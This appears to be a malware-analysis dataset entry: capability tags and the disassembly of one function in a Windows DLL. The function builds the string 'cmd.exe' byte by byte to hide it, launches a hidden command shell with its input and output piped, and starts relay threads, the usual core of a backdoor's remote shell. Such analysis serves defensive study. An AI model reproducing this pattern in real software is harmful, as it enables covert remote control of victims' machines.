Function at 0x1000d0fa
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Get common file path

Disassembly:
mov eax, 0x10016ed0
call fcn.10016960
sub esp, 0x174
push ebx
push esi
push edi
mov esi, ecx
push dword [ebp + 8]
mov dword [ebp - 0x38], esi
call fcn.1000abd0
xor eax, eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x78]
mov dword [ebp - 0x7c], ebx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x30]
mov dword [ebp - 0x34], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x17f]
mov byte [ebp - 0x180], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x24]
lea edi, [esi + 0x1c]
lea eax, [esi + 0x10]
push ecx
push edi
push eax
mov dword [ebp - 4], ebx
mov dword [esi], 0x100175cc
mov dword [eax], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [edi], ebx
mov dword [ebp - 0x24], 0xc
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1000d1ae
mov eax, dword [esi + 0x10]
cmp eax, ebx
je 0x1000d198
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [edi]
cmp edi, ebx
je 0x1000d2fe
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000d2fe
lea eax, [ebp - 0x24]
push ebx
push eax
lea eax, [esi + 0x14]
push eax
lea eax, [esi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1000d1e8
mov eax, dword [esi + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x1000d1d5
push eax
call edi
mov eax, dword [esi + 0x18]
cmp eax, ebx
je 0x1000d2fe
push eax
call edi
jmp 0x1000d2fe
push 0x44
lea eax, [ebp - 0x7c]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x34]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esi + 0x18]
push 0x104
mov dword [ebp - 0x44], eax
mov eax, dword [edi]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x180]
mov dword [ebp - 0x7c], 0x44
push eax
mov word [ebp - 0x4c], bx
mov dword [ebp - 0x50], 0x101
mov byte [ebp - 0x18], 0x5c
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x16], 0x6d
mov byte [ebp - 0x15], 0x64
mov byte [ebp - 0x14], 0x2e
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x78
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], bl
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x180]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x34]
pop ecx
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
lea eax, [ebp - 0x180]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1000d2b1
push dword [esi + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [esi + 0x14]
call ebx
push dword [esi + 0x18]
call ebx
push dword [edi]
call ebx
jmp 0x1000d2fe
mov eax, dword [ebp - 0x34]
push 1
mov dword [esi + 0x20], eax
mov eax, dword [ebp - 0x30]
mov dword [esi + 0x24], eax
lea eax, [ebp + 0xb]
push eax
mov ecx, esi
mov byte [ebp + 0xb], 0x80
call fcn.1000ac3e
mov ecx, esi
call fcn.1000ac83
push ebx
push ebx
push ebx
push esi
push 0x1000d400
push ebx
push ebx
call fcn.1000f21a
push ebx
push ebx
push ebx
push esi
push 0x1000d4a9
push ebx
push ebx
mov dword [esi + 0x28], eax
call fcn.1000f21a
add esp, 0x38
mov dword [esi + 0x2c], eax
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4